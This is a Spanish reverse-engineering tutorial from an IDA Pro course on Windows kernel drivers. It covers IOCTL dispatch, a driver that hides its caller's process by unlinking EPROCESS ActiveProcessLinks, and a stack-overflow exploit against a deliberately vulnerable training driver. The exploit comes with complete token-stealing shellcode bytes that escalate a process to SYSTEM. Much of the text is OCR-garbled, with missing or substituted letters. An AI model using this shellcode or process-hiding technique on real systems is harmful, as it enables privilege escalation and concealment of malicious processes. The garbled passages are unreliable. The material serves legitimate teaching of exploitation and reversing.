Los demás son variables, como tenemos símbolos en este caso no es muy di cil, pero es bueno irse
acostumbrandose de a poco para los casos reales donde no tengamos símbolos.
Python>hex(0x19*2)
0x32
Luego copia el DOS_DEVICE_NAME copiara 0xb d ords o sea 0xb *4 es 0x2c bytes hexa en total
Es 23 decimal por 2 o sea 46 bytes o sea 0x2e hexa, asi que tampoco hay over o aquí.
La cuestón es que en deviceNameBu er esta el device name y en deviceLinkBu er esta el Dos device
name.
Sigamos lo siguiente sera transformar una string unicode en una que sea del tpo _UNICODE_STRING,
eso lo hará la api RtlInitUnicodeString.
Es una estructura del tpo UNICODE_STRING con 8 bytes de largo ya que son dos ords para los
lenghts y un d ord para copiar allí el puntero al bu er con la string unicode,
Luego esta la llamada a la api que habíamos hablado IoCreateDevice.
Habíamos visto que el argumento mas lejano o sea el ultmo era un puntero a un d ord que se usaba
como salida para que la api guarde allí un puntero, vemos eso pone a cero la variable interfaceDevice
y luego con lea halla el puntero a esa variable donde escribirá un puntero.
Luego hay un PUSH 1 que es el argumento Exclusive que no lo vimos antes porque no es de gran
importancia, luego viene PUSH EDI, vemos que en EDI hay un cero ya que había un XOR EDI, EDI
antes.
No es tampoco muy importante, luego viene push 8337h que es el DeviceType que habíamos defnido
en el código fuente
Luego otro PUSH EDI que es cero de DeviceExtensionSiie y al fnal en EBX esta el puntero a
DriverObject.
Si en EAX tene un valor negatvo habrá fallado y el JS saltara por la echa verde sino sera correcto y
ira al DbgPrint que imprimirá “Sucess”
Luego hará lo mismo con la otra string unicode al convertrla de un bu er con una string unicode a la
forma de estructura _UNICODE_STRING al igual que antes con la api RtlInitUnicodeString.
Por lo tanto deviceLinkUnicodeString ahora sera del tpo _UNICODE_STRING y tendrá en su tercer
campo un puntero a un bu er con la string unicode L"\\DosDevices\\HelloWorld".
Luego pasando los punteros a las dos _UNICODE_STRING a la api IoCreateSymbolicLink creamos el
symbolic link entre el DeviceObject y el modo user.
Si no esta en estructuras como antes vamos a LOCAL TYPES y sincroniiamos para que apareica y
apretamos T en cada uno de esos campos.
Al igual que en el caso anterior seteamos una rutna custom para cuando se descarga el driver, que
esta en ebx+34h, apretando T vemos que es el campo DriverUnload.
Vemos que la rutna al descargar el driver no solo imprime con DbgPrint la string “Driver unloading”
Como antes habíamos creado el symbolicLink con la api IoCreateSymbolicLink al salir tenemos que
borrarla con IoDeleteSymbolicLink y también como habíamos usando para crear el DeviceObject con
IoCreateDevice ahora se borrara con IoDeleteDevice sino habrá problemas
para cargarlo nuevamente.
[IRP_MJ_CREATE] es 0x0
[IRP_MJ_CLOSE] es 0x02
[IRP_MJ_DEVICE_CONTROL] es 0x0e
Luego
Se ve que cuando llamemos de una aplicación en user mode a través de DeviceIoControl usando un
IOCTL se utliia ese callback, igual en los tres casos va a la misma función ya que los pisamos con
punteros a DriverDispatch.
Vemos que la función recibe dos argumentos el famoso puntero a DEVICE_OBJECT y el segundo es un
puntero al Irp que es una estructura compleja ya la veremos mejor luego.
Vemos que al igual que la vei anterior al registrarlo y arrancarlo imprime DriverEntry called y Sucess y
al descargar Driver Unloading pero ahora ademas desde una aplicación user que yo hice cuando esta
corriendo o sea antes hay que darle a START SERVICE para que corra.
Con las interacciones desde el programa en user mode se llama al dispatch, vemos que mi programita
solo hace esto.(el ejecutable estará adjunto)
#include "stdafx.h"
#include <windows.h>
int main()
{
HANDLE hDevice;
DWORD nb;
hDevice = CreateFile(TEXT("\\\\.\\HelloWorld"), GENERIC_READ |
GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hDevice);
return 0;
O sea cuando llamo a CreateFile para poder tener un handle del driver salta al dispatch a través del
callback [IRP_MJ_CREATE] y imprime
Vemos que cuando lo tro debuggeando y pongo Breakpoint en la función dispatch luego de llegar alli
Lee desde la estructura IRP, la parte TAIL no esta especifcada en MSDN pero alli, luego de buscar el
campo en EDI+60, y pasarlo a EBX , el contenido del mismo va a EAX que tene la primera vei que para
el valor de [IRP_MJ_CREATE] o sea cero, y en este caso va alli a imprimir
ese mensaje de que paso por create.
Cuando pasamos por el DebugPrint nos muestra en la barra del Windbg el mensaje, si hubiera varios
IOCTL con diferentes acciones habría un s itch aquí justamente para que desvié la ejecución según el
que sea.
La tercera vei que para es cuando hacemos CloseHandle EAX es 2.
Y imprime
Creo que con esto tenemos una buena introducción al tema, seguiremos en la siguiente parte,
profundiiando mas.
Si vuelvo a debuggear y cuando paro uso la barra de windbg para ver la estructura, sabemos que el
comando dt nos muestra la estructura es este caso la estructura _IRP.
Igual no nos muestra la posición 0x60 que es la que lee y esta dentro de Tail, lo mismo que nos pasa
en la estructura del IDA, pero acá hay un truquito que sirve para aclarar un poco mas las cosas.
Hay varios modifcadores del comando dt uno es -v que lo pone en modo verbose otro es -r que nos
da la profundidad de las sub-estructuras para que nos muestre las mismas, veamos que pasa si
ponemos.
Ahora se ve mejor incluso nos muestra el contenido de Tail
Vemos que Tail empieza en 0x40 y 0x20 mas adelante esta CurrentStackLocaton, que seria la
estructura que se encuentra en 0x60
Algo mas obtuvimos pero aun no sale el campo 0x0c que esta dentro de Parameters, también
buscamos que nos muestre la estructura con mas profundidad asi que usaremos los modifcadores
nuevamente.
Vemos que los campos a partr del o set 0x4 cambian según la acción que estemos ejecutando, para
cada acción hay una defnición diferente de estos campos.
Como en nuestro caso buscamos el IOCTL code ese solo se usa la segunda vez que para cuando
llamamos a DeviceIoControl, asi que podemos mirar alli y ver que el campo 0x8 dentro de
Parameters, para ese caso es el IOCTL, si miramos desde el inicio de la estructura
_IO_STACK_LOCATION sera el campo 0xC ya que había 0x4 bytes antes de Parameters.
Vemos que al igual que nos sale en el Windbg la primera parte es fja pero despues cuando dice union
signifca que la parte siguiente es variable y depende del código que estamos trabajando, hay
diferentes valores según se este llamando desde CreatefIle, ReadFile, etc lo que nos importa a
nosotros es cuando se llama desde DeviceIoControl ya que es la api que se usa para pasar los IOCTL.
Ahí esta asi que como el tpo ULONG es de 4 bytes de largo vemos entonces que si lo completamos.
Los primeros son 4 UCHAR o sea de un byte cada uno quiere decir que la estructura Parameters
empezaba en 0x4 eso nos decía el windbg
Y luego alli en 0x4 desde el inicio de _IO_STACK_LOCATION estará el primer campo de la misma
OutputBu erLenght , en 0x8 estará InputBu erLenght y en 0xC estará el IOCTL o IOControlCode.
Alli este lee a EAX el valor MajorFuncton ya que lee solo un byte y es ese campo.
Recordemos que era el valor que salia de la tablita
La primera vez cuando hago CreateFile valdrá 0x0, la segunda vez cuando uso DeviceIoControl valdrá
0xE y la tercera vez cuando uso CloseHandle valdrá 0x02.
Por supuesto como es la primera vez que para, cuando hace CreateFile, EAX valdrá cero
Y ahora si me queda perfectamente reverseado y coincide ya que solo pasara por alli cuando sea el
MajorFuncton 0xE, y como en los otros valores de MajorFuncion no pasa por acá, no habrá ningún
error.
Si en otra parte del programa lee ese mismo campo 0xc cuando utliza otra MajorFuncton en ese caso
al apretar T elegiremos la acción correspondiente y el reversing nos quedara de acuerdo a cada caso
como corresponde.
Hasta la parte 54
Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 54 KERNEL.
Vamos a modifcar un poco el ejercicio anterior y ademas vamos a hacer el programita en user,
directamente en Python.
Para ello en la maquina target donde esta el driver corriendo deben instalar Python, yo instale la
versión 2.7, y ademas bajarse el instalador de pywin32 el que corresponda a su versión de Python.
hps://sourceoorge.net/projects/pywin32/fles/pywin32/Build32 24//
Es un instalador se ejecuta y listo con eso ya podremos correr el script de Python que reemplazara al
programa user.
Ademas del IOCTL_SAYHELLO que ya teníamos , ahora hay dos nuevos que son IOCTL_HOOK y
IOCTL_UNHOOK.
Vemos que dentro del caso que MajorFuncton sea IRP_MJ_DEVICE_CONTROL, hay otro switch que
tene los tres cases de los IOCTL.
Vemos que el IOCTL que teníamos antes sigue solo imprimiendo “Hello World”
case IOCTL_SAYHELLO:
DbgPrint("Hello World!\n");
status = STATUS_SUCCESS;
break;
case IOCTL_HOOK:
PsSetCreateProcessNotifyRoutine(
DriverProcessNotifyRoutine, FALSE);
break;
case IOCTL_UNHOOK:
PsSetCreateProcessNotifyRoutine(
DriverProcessNotifyRoutine, TRUE);
break;
VOID DriverProcessNotifyRoutine(
IN HANDLE ParentId,
IN HANDLE ProcessId,
IN BOOLEAN Create)
{
if (Create)
{
DbgPrint("Process %d created process %d\n",
ParentId, ProcessId);
}
else
{
DbgPrint("Process %d has ended\n",
ProcessId);
}
}
case IOCTL_UNHOOK:
PsSetCreateProcessNotifyRoutine(
DriverProcessNotifyRoutine, TRUE);
break;
Bueno ahora viene el script de Python que le enviara los IOCTL al driver
cuando este corriendo.
Vemos que es un script pequeño, hay que importar win32api y win32fle, ademas de winioctlcon,
todo ello viene en el paquete pywin32 que instalamos si no lo instalan les dará error.
Vemos que la ounción CTL_CODE que usábamos cuando creamos un ejecutable en C++ para hallar el
IOCTL, en Python la importa winioctlcon, con ello lograremos hallar los tres IOCTLs.
hDevice = win32file.CreateFile(r"\\.\HelloWorld",win32file.GENERIC_READ |
win32file.GENERIC_WRITE, 0, None,win32file.OPEN_EXISTING,
win32file.FILE_ATTRIBUTE_NORMAL, 0)
En este caso en el nombre del driver hay que poner barra invertda simple en vez de doble, el resto es
similar las constantes para los argumentos están en win32fle.
Y luego viene la llamada a DeviceIoControl hacemos que el usuario tpee una tecla y según lo que elije
le enviamos el código correspondiente, si elije cero, antes de salir deshookea la ounción para evitar
pantallas azules.
while 1:
print "1=HELLO\n","2=HOOK\n","3=UNHOOK\n","0=UNHOOK AND EXIT\n"
case=raw_input()
if case ==0:
break
if case==1:
win32file.DeviceIoControl(hDevice,IOCTL_SAYHELLO, None, None, None)
if case == 2:
win32file.DeviceIoControl(hDevice,IOCTL_HOOK, None, None, None)
if case == 3:
win32file.DeviceIoControl(hDevice,IOCTL_UNHOOK, None, None, None)
Con ese script podríamos manejar el driver enviándole códigos IOCTL dioerentes, probemoslo.
Arranco el sistema target debuggeando y arranco el driver con el OSRLOADER, y lo dejo corriendo
ahora usare el script de Python a ver si va.
Vemos que despues que nos imprime el handle del driver salen las opciones para elegir.
Out[6]: str
Ahh lo que retorna raw_input es una string y lo estamos comparando con un entero, cambiemos eso.
A ver ahora
Ahora si, cuando tpeamos 4 nos muestra “Hello world” hookeemos ahora apretando 2.
Ahora arranquemos algunos programas en la maquina
Vemos como nos loguea los procesos que arrancan y se cierran en mi caso arranque el Internet
explorer
Ahí esta el PID del IE es / 8/ y el padre es el Explorer al arrancar con doble click, cualquier proceso
que arranca en la maquina o se detene se logueara alli, ahora cerrare el IE.
Bueno ounciona ahora deshookeemos con 3, vemos que no se loguean mas los procesos que abrimos
y cerramos.
En el caso cuando MajorFuncton vale xE o sea que estamos usando DeviceIoControl, apretamos T y
de todas las opciones elegimos esa, que es para cuando se usa DeviceIoControl.
Vemos que cuando es IOCTL_SAYHELLO va al bloque amarillo que imprime HELLO WORLD, en los
otros dos casos va por los bloques verdes en el caso IOCTL_HOOK hace PUSH ESI que es cero para
pasar el argumento FALSE a la api PsSetCreateProcessNotoyRoutne@8 y en el caso de
IOCTL_UNHOOK hace PUSH 4 que es TRUE.
Si ponemos un breakpoint aquí, parara cada vez que arranquemos un proceso despues de haber
apretado 2 en el script de Python para HOOKEAR.
Les dejo como tarea poner los breakpoints en esta ounción y en el Dispatch y tracear para chequear lo
que hemos dicho reverseando.
Lo primero que haremos sera cargar el ejercicio anterior y debuggearlo con windbg para ver un valor
que es necesario para este ejemplo.
Porque no digo el valor es tal, porque este ofset cambia entre sistema y sistema, a pesar de que avise
de que estoy usando Windows 7 de 32 bits como target por ahora, conviene chequearlo de paso
aprendemos mas sobre las estructuras que se manejan.
Como vimos en la parte anterior arrancamos el target con el windbg debuggeando el kernel remoto
como se explica alli, y cuando arranca el sistema, con el OSRLOADER arrancamos el driver, luego
breakeamos en el windbg y como vimos cambiamos al proceso OSRLOADER con
.process /i xxxxxxx
En mi caso
Bueno ese amoso numerito que nunca dijimos el nombre, es la dirección de la estructura _EPROCESS
en mi caso 840 7d40 .
Veo que en mi caso en 0xB8 esta la estructura ActveProcessLinks que es la que estoy buscando, este
ofset varia de sistema en sistema, en XP esta en 0x88 y en otros sistemas variara también de posición
por lo cual esta bueno chequear su valor en nuestra maquina target.
La estructuras del tpo _LIST_ENTRY como esta, en 32 bits tenen 8 bytes de largo, y están compuestas
de dos punteros.
Que alli en el ofset 0xb8 esta el primer puntero que es Flink cuyo valor en mi caso 0x85c1dd20 y el
Blink que vale en mi caso 0x84119568.
Esos son los dos campos de la misma estructura ActveProcessLink y apuntan a la misma estructura en
el siguiente y el anterior proceso, como sabemos que esa estructura en nuestro sistema esta en el
ofset 0xb8, podemos hallar el EPROCESS del proceso anterior al mio y del siguiente al mio, restandole
a ambos valores 0xb8.
Por lo tanto FLINK que es FORWARD LINK apunta a la misma estructura ActveProcessLink del
siguiente proceso y BLINK que es BACKWARD LINK apunta a la misma estructura del anterior proceso
de la lista y en mi sistema el OFFSET a ActveProcessLink es 0xb8.
Bueno esto es por ahora lo que necesitamos saber para entender el uncionamiento del próximo
driver que compilaremos.
Como siempre adjuntare el código uente, pero esencialmente al driver anterior le agregamos una
unción que se llama HideCaller ya estudiaremos que hace, lo compilo en modo release y lo copio
junto con los símbolos a una carpeta para abrirlo con IDA.
Vemos que la agregamos una unción llamada HideCaller, si lo abrimos en IDA con sus simbolos,
vemos dentro del DriverDispatch una llamada a HideCaller.
Vemos que es una rutna sencilla
Bueno la estructura eprocess no la tenemos en IDA hay que agregarla a mano pero con lo que ya
vimos en el windbg podemos crear una estructura vacía de largo 0x300 que nos sobra.
Vemos que cree una estructura vacía con el método que mostramos anteriormente en el curso.
Sabiamos que en el ofset 0xb8 empezaba la estructura de 8 bytes ActveProcessLink asi que vamos
alli en la pestaña estructuras y la agregamos.
Ahora apretando T vemos que ese campo es el BLINK ya que esta en 0xBC.
El método es pisar el FLINK del proceso anterior para que deje de apuntar a mi proceso y lo saltee en
la lista apuntando al próximo, y lo mismo el BLINK del próximo en vez de apuntar a mi proceso que lo
haga al anterior al mio, de esa orma cuando vaya recorriendo la lista salteara el mio.
En este ejemplo vemos que al FLINK del proceso anterior que apuntaba a 0x20000000 lo pisamos con
0x30000000 y al BLINK del proceso siguiente que apuntaba a 0x20000000 lo pisare con 0x10000000.
EAX apunta a la estructura ActceProcessLink y es del tpo _LIST_ENTRY podemos donde hay EAX +
XXX apretar T y elegir la estructura LIST_ENTRY para que muestre su campo.
El contenido (mi FLINK) lo mueve a ECX luego lo guarda en el contenido de EDX que tenia mi BLINK,
como apunta al proceso anterior, su contenido es el FLINK del proceso anterior asi que hace lo que
dice el método anterior, pisar el FLINK del proceso anterior con mi FLINK.
Luego viene el otro puntero que es escribir en FLINK +4 (ya que mi FLINK es 0x30000000 mas 4 da el
BLINK del siguiente proceso 0x30000004 y al pisar su contenido machacaremos el valor que tenia con
0x10000000 que es mi BLINK.
Alli lo hace guarda BLINK de mi proceso en el contenido de FLINK mas 4 o sea en el contenido de
0x30000004 machaca el valor que había alli en BLINK del siguiente con 0x10000000.
Lo ultmo es que EAX que tene la dirección de la estructura ActveProcessLink, en su contenido esta
mi FLINK lo pisa con esa misma dirección y lo mismo con mi BLINK, ahora lo debuggearemos para
aclarar un poco.
Cuando lo llamo desde el script de python user.py del ejercicio anterior va al Dispatch y llega al
llamado de HideCaller.
Al pasarla api en EAX queda la direccion del EPROCESS en mi caso 844C1D40
En este caso el proceso que llamo al Driver es el python.exe y ahi se ve el EPROCESS 0x844c1d40.
Luego levanta mi FLINK el cual por supuesto apunta al ActveProcessLink del siguiente proceso y le
suma 4 y halla el contenido, veamos el siguiente proceso.
Pisara el BLINK del siguiente proceso con mi BLINK.
Vemos mi propio proceso tanto FLINK Y BLINK apuntan a la misma direccion de la estructura
ActveProcessLink.
Al hacer !process 0 0 lo mismo en la barra de tareas vemos que el proceso python desapareció de la
lista a pesar de que esta corriendo y eso es porque al ir recorriendo la lista y llegar al proceso justo
anterior el FLINK del mismo ya no apunta a mi proceso python.exe sino al siguiente, lo saltea, lo
mismo que el BLINK del siguiente no apunta mas al proceso python.exe sino al anterior, por eso es
como si no existera mas.
No es muy di cil, no hay que hacerse lío con la lista enlazada de ActveProcessLink, una vez que se
entende eso es ácil.
Tenemos un driver compilado con los simbolos por ahora que tene la posibilidad de explotarlo de casi
todas las formas posibles, esta hecho para practcar.
Vulnerabilities Implemented
Double Fetch
Pool Overfoo
Use After Free
Type Confusion
Stack Overfoo
Integer Overfoo
Stack Overfoo GS
Arbitrary Overorite
Null Pointer Dereference
Uninitialized Heap Variable
Uninitialized Stack Variable
Insecure Kernel Resource Access
Por supuesto hay que copiar el driver a la maquina target y cargarlo con el O R RIVER LOA ER.
Bueno como ya sabemos acá tenemos simbolos, eso nos facilita mucho las cosas, pero igual lo
primero que debemos buscar y que casi siempre es reconocido con o sin simbolos es la estructura
_ RIVER_OBJECT que se pasa como argumento al riverEntry.
Vemos que usa como en los ejemplo anteriores la api RtlInitUnicode tring para inicializar las
estructuras
Recordemos que el primer argumento era un puntero a la estructura UNICO E_ TRING, alli vemos
PUNICO E_ TRING o sea puntero a estructura UNICO E_ TRING.
O sea es un bu er donde guardara el largo en un word, el máximo largo en otro campo del tpo word
y copiara el puntero a la string unicode que le pasamos como source a contnuaciin en el tercer
campo.
Primero inicializa a cero la variable os eviceName que también es del tpo UNICO E_ TRING.
Pone a cero el campo Length moviendo AX que vale 0 alli, y luego TO copia el valor de EAX o sea
pone a cero la direccion donde apunta E I o sea en el campo MaximumLenght y luego otro TO W
copia AX o sea cero en los dos bytes siguientes o sea poniendo 6 bytes a cero inicializa los dos campos
restantes de la estructura que ocupan 6 bytes (1 WOR y un WOR )
El compilador solo inicializa la variable os eviceName la otra que se llama eviceName no la pone a
cero, la usa directamente.
O sea que eviceName es la string esa convertda a tpo estructura UNICO E_ TRING, o sea que en
los tres campos estará el largo, el máximo largo y el puntero que le pasamos a la string source se
copiara al tercer campo.
En os eviceName armara la otra UNICO E_ TRING usando como source la esa otra string.
espues viene la llamada a IoCreate evice, recordemos que había que crear un evice Object para
poder comunicarse desde los programas en modo user.
Esto estará casi siempre cerca del punto de entrada en la mayoría de los drivers que interactuan con
programas en modo user.
Luego va a inicializar a partr de E I + 38 como E I apunta a riverObject apretando T, puedo ver que
campo es (sino esta RIVER_OBJECT ir a LOCAL TYPE y sincronizarlo)
O sea es el puntero a la estructura MajorFuncton que recordamos es una tablita de punteros que
según la posiciin, me llevaran a diferentes funciones según el caso, recordemos que por ejemplo.
El primer puntero o sea el que esta en la posiciin 0 es IRP_MJ_CREATE y sera donde saltara cuando
utlice CreateFile para abrir el handle del evice, el segundo puntero o sea el valor 0x1 estará en la
posiciin 4 ya que son WOR s y asi sucesivamente, quiere decir que inversamente si yo tengo un
campo de esta estructura por su o set para saber que puntero es deberé dividir por cuatro, en el
ejemplo que usábamos en los drivers anteriores recordamos que
Python>hex(0x38/4)
0xe
Que este 0xe era IRP_MJ_ EVICE_CONTROL cuando le pasábamos un IOCTL desde user, ese puntero
lo pisábamos con un ispatch para que según que IOCTL sea, se ejecute diferentes acciones mediante
un switch por ejemplo.
En el caso actual vemos que inicializa a partr de un puntero al inicio de la tablita MajorFuncton, copia
el valor de EAX al cual le mueve un o set de una funciin que se llama _Irp_NotImplemented andlers,
y eso lo copia 0x1c veces que pasa a ECX, que es la cantdad de punteros a inicializar.
O sea que al principio toda la tablita la inicializa con este puntero que aparentemente no haría nada
ya veremos, aparenta ser como un caso por default.
struct __MajorFunction{
unsigned int _MJ_CREATE;
unsigned int _MJ_CREATE_NAMED_PIPE;
unsigned int _MJ_CLOSE;
unsigned int _MJ_READ;
unsigned int _MJ_WRITE;
unsigned int _MJ_QUERY_INFORMATION;
unsigned int _MJ_SET_INFORMATION;
unsigned int _MJ_QUERY_EA;
unsigned int _MJ_SET_EA;
unsigned int _MJ_FLUSH_BUFFERS;
unsigned int _MJ_QUERY_VOLUME_INFORMATION;
unsigned int _MJ_SET_VOLUME_INFORMATION;
unsigned int _MJ_DIRECTORY_CONTROL;
unsigned int _MJ_FILE_SYSTEM_CONTROL;
unsigned int _MJ_DEVICE_CONTROL;
unsigned int _MJ_INTERNAL_DEVICE_CONTROL;
unsigned int _MJ_SCSI;
unsigned int _MJ_SHUTDOWN;
unsigned int _MJ_LOCK_CONTROL;
unsigned int _MJ_CLEANUP;
unsigned int _MJ_CREATE_MAILSLOT;
unsigned int _MJ_QUERY_SECURITY;
unsigned int _MJ_SET_SECURITY;
unsigned int _MJ_POWER;
unsigned int _MJ_SYSTEM_CONTROL;
unsigned int _MJ_DEVICE_CHANGE;
unsigned int _MJ_QUERY_QUOTA;
unsigned int _MJ_SET_QUOTA;
unsigned int _MJ_PNP;
unsigned int _MJ_PNP_POWER;
unsigned int _MJ_MAXIMUM_FUNCTION;
};
e que son punteros pero para nuestro uso unsigned int funcionara, el tema es que el local types,
usando IN ERT no me la toma, asi que ahí mismo exporte , le agregue la estructura y la volví a cargar
con FILE-LOA FILE-PAR E C EA ER FILE y asi la tomo.
La agregue en el .h
Vemos que le cambie la de niciin del campo MajorFuncton, dentro de la estructura RIVER_OBJECT
para que sea del tpo __MajorFuncton que de ní.
Vemos que ahora si quedan de nidos los campos con sus nombres de cada puntero.
Obviamente cuando desde user hagamos CreateFile llamara a la funciin que pisa el campo
_MJ_CREATE cuando pasemos un IOCTL a eviceIoControl, llamara a _MJ_ EVICE_CONTROL, cuando
se llame a Close andle, llamara a la que pisa _MJ_CLO E y cuando se detenga la que pisa
riverUnload.
Como vimos en la parte 53 el campo 60 de IRP apunta a una estructura _IO_ TACK_LOCATION que si
gura en I A aquí pasa lo mismo.
E I aquí apunta a _IO_ TACK_LOCATION, asi que todo lo que sea E I+xxx sera un campo de dicha
estructura, despues de sincronizarla desde LOCAL TYPE .
Alli hay una que dice TACKOVERFLOW, asi que no hay que matarse mucho jeje.
Vemos que los dos argumentos que le pasa en E I la estructura IRP y en E I ahí dice IRP P que es el
nombre de la variable del tpo _IO_ TACK_LOCATION que estaba en E I.
Es un puntero a un bu er de entrada, también en la misma subestructura esta el IoControlCode y el
largo del Bu er de entrada y de salida, supuestamente estos valores se los pasare yo, veamos que
hace con ellos.
Vemos que ese size y ese bu er los pasa a la funciin _Trigger tacsOverfow.
Vemos que pone a cero con E I el primer WOR del bu er KernelBu er y luego con memset pone a
cero desde el siguiente WOR ya que le suma 4 a KernelBu er, el size 0x7fc.
icho bu er tene de largo 512 decimal por 4 ya que es un array de WOR (dd) asi que el largo total
en decimal es
512 * 4
Out[64]: 2048
En EXA es
hex(2048)
Out[65]: '0x800'
Por eso al poner el primer WOR a cero y luego los 0x7fc restantes, realmente pone todo el bu er
de 0x800 a cero. (0x7fc+4=0x800)
Luego llama a ProbeForRead que chequea si el bu er de entrada en user esta alineado y esta en el
espacio de user.
Aquí vemos claramente el stacs overfow, ya que usa el size que yo le paso como dato para copiar
desde el bu er de entrada en user, al bu er en sernel que es el destnaton.
Ahí vemos que al imprimir el size del bu er de sernel, usa el que esta en E I que es la constante
0x800, pero al hacer el memcpy, usa el argumento size que le paso yo, sin ningún tpo de chequeo lo
cual producirá un stacs overfow y como aquí no se ve coosie ni nada se podrá desbordar fácilmente.
En ala parte siguiente haremos el script con la explotaciin aqui terminamos el análisis.
Asi que salvo muy raras excepciones los exploits de kernel son escalaciones de privilegios o priviledge
escalaton o como se diga jeje.
Por eso muchas veces vamos a ver el código de los mismos en un ejecutable compilado, o el código
fuente del mismo, porque se supone que podemos bajarnos un archivo y ejecutarlo con permiso de
usuario normal, ese ejecutable atacara en este caso nuestro driver y lo explotara consiguiendo la
escalacion.
De cualquier manera tanto el código en C como en Python, están basados en los llamados a las
mismas apis de Windoos, CreateFile, DeviceIoControl, etc, asi que lo que se hace en uno es
fácilmente portable al otro.
El primer paso sera cambiarle el nombre al driver para cuando haga CreateFile nos devuelva un
handle correcto al mismo.
Sin mucho problema seguramente si reemplazo el nombre del viejo driver por el del nuevo
funcionara, sin amargarme mucho probemos.
Podemos copiarlo a la maquina target y ver si me da error o un handle valido, sino seguiré mirando.
Probemoslo.
Me devolvió un valor positvo que es el handle al driver el resto no me interesa asi que lo cierro.
Por ahora le quitamos el ohile y todo el resto que no nos interesa y lo siguiente es ver cual era el
IOCTL que nos lleva al bloque del stack overfoo, para enviárselo.
Lee el largo que es cero ya que no le pase argumentos aun salvo el IOCTL.
Como es cero saltea la función donde se triggerea el stack overfoo.
Como la api llamada desde oin32 le en Python tene menos argumentos que la original que tene
mas.
Acá esta la de nición de la de oin32 le de Python
Veremos si con esto nos alcanza necesitamos hacer un bu er para pasárselo a la entrada, asi que
como necesitamos un puntero al mismo, lo podemos hacer con AllocateReadBu er, que nos alocara
en el heap la cantdad que necesitamos para pasarle el bu er de entrada.(otra opción oin32 le no
nos da)
Como oin32 le no tene acceso a todas las apis no permite copiar directamente al bu er como
memcpy o cosas asi de esta forma podemos solo copiarlo con ReadFile, asi que hacemos un archivo
pepe.bin lleno de 0x1000 Aes, lo pasamos a CreateFile para que lo abra y nos devuelva el handle y eso
lo pasamos a ReadFile con el argumento buf del bu er que allocamos y copiara el contenido del
archivo alli.
Obviamente si lo hacemos en C, C++ o el lenguaje que sea podremos usar VirtualAlloc, y copiar
fácilmente con memcpy o lo que queramos, pero aquí tenemos ciertas limitaciones y nos tenemos
que adaptar.
Necesitamos saber ademas el largo justo de lo que debemos enviar, miremos el bu er de destno en
el IDA.
Marcamos desde el inicio del bu er hasta justo antes del return address y nos de 520 decimal por 4
del element size.
Asi que:
hex(520*4)
'0x820'
Ahora como sabemos en Python la direccion del bu er que creamos para pasarle, bueno un truco
medio sucio es usar repr.
Vemos que me devuelve la direccion donde puedo escribir, en una string asi que busco 0x y busco la
coma en dicha string y puedo stripear la direccion.
Alli esta la direccion la podemos pasar con struct.pack luego de los 0x820 Aes, lo molesto es que
debemos escribirlo en el archivo que leerá, uf.
Veamos si sirve, en este caso no es necesario tener el archivo pues lo creara y lo llenara asi que
borramos el anterior.
Vemos que el bu er de entrada que se pasa a EDX nos muestra el mismo valor, veamos si están las
Aes.
Uf no me puso las Aes me repito el puntero salteemos la explotación y arreglemos el script.
Creo que el problema es que debe coincidir el size del bu er con el size del archivo, justto jeje.
Veamos asi, no va
Ah ya caí
Le faltaba setear al inicio del archivo el le pointer, sino leerá desde el nal donde lo dejo WriteFile,
por eso no leía las Aes, ahora si.
Veo que llego al bu er el problema es que como no lo alloque con VirtualAlloc y lo alloque con la api
esa de oin32 le AllocateReadBu er no le da permiso de ejecución, asi que tendré que buscar la
forma de allocar código ejecutable de alguna otra forma.
Le agregue el import ctypes y este tene VirtualProtect asi que le di permiso de ejecución y ahora no
hay problema.
Salta y ejecuta sin problema, realmente veo que ctypes esta mas avanzado que oin32api, por lo cual
podría hacerse todo llamando directamente a VirtualAlloc de ctypes sin tanta vuelta.
Alli esta ejecutando, la cuestón ahora es que ejecutamos código, nos quedaría hacer el shellcode
porque asi tendremos solo una bonita pantalla azul.
shellcode="\x53\x56\x57\x60\x33\xC0\x64\x8B\x80\x24\x01\x
00\x00\x8B\x40\x50\x8B\xC8\xBA\x04\x00\x00\x00\x8B\x80\xB
8\x00\x00\x00\x2D\xB8\x00\x00\x00\x39\x90\xB4\x00\x00\x00
\x75\xED\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\
x61\x33\xC0\x83\xC4\x0C\x5D\xC2\x08\x00"
El shellcode es bastante general lo que hay que tener en cuenta es que al terminar uel a como
corresíonde a la ru na desde donde fue llamado, íara eso hay que mirar bien si el retn del fnal debe
ser retn 4 o mas íara ol er donde ol ería si no hubiéramos íisado el ret al hacer el o er oo y el
írograma con nne corriendo sino se íroducirá una íantalla azul y chau, jeje.
Alli emos como lo acomode, en el inicio de la data que en ío le coloco el shellcode y luego le resto a
0x820 el largo del mismo shellcode íara que no cambie la íosición del alor con que íiso el return
address a con nuación y se mantenga correcto.
Si lo corro antes de exílicarlo emos que le íuse un rao_iníut al fnal íara íoder íararlo antes de
que se cierre y er si ele o a íri ilegios system, también se íuede ejecutar otro íroceso y er si este
al igual que nuestro íroceso ene íri ilegios system, lo cual solo íuede íasar si un íroceso system
arranca otro.
Alli lo lance y eo que quedo íarado en el rao_iníut eamos en el PROCESS EXPLORER agregándole la
columna que muestre el usuario, que nos dice.
Funciono con er mos un íroceso con íri ilegios de user normal a SYSTEM, eamos como lo hizo,
atacheemos el IDA y íaremos en el RET antes de ejecutar el shellcode.
Alli se detu o en el RET, traceemos con f7 una ez.
Ahí esta el shellcode es muy chiquito y emos que termina en RET 8, este alor hay que ajustarlo bien,
íorque debajo del return address que íisamos en el stack íara ejecutar nuestro shellcode, esta el
return address de la función íadre de esa, y ese es el que realmente debemos alcanzar con este RET
íara ol er al írograma tal cual la función íadre lo haría.
Con la P íodemos hacer CREATE FUNCION y íasarlo a forma gráfca con la barra esíaciadora.
Desíues del PUSHA que guarda los registros en el stack, emos que dado que EAX ale 0 íor el XOR,
termina leyendo el alor de FS:[124]
En computación, el Win32 Thread Information Block (TIB) es una estructura de datos en los
sistemas Win32, específcamente en la arquitectura x86, que almacena información acerca
del hilo que se está ejecutando. También es conocido como el Thread Environment Block (TEB).
Bueno esta estructura ene camíos que se acceden a tra és de la instrucción FS :[x], alli en la tabla
emos íor ejemílo FS:[124]
También es muy usado el íuntero a la PEB que es el PROCESS ENVIRONMENT BLOCK que esta en fs:
[20]
Como en la íosición 0 esta la estructura KTHREAD o KERNEL THREAD, quiere decir que el camío 50
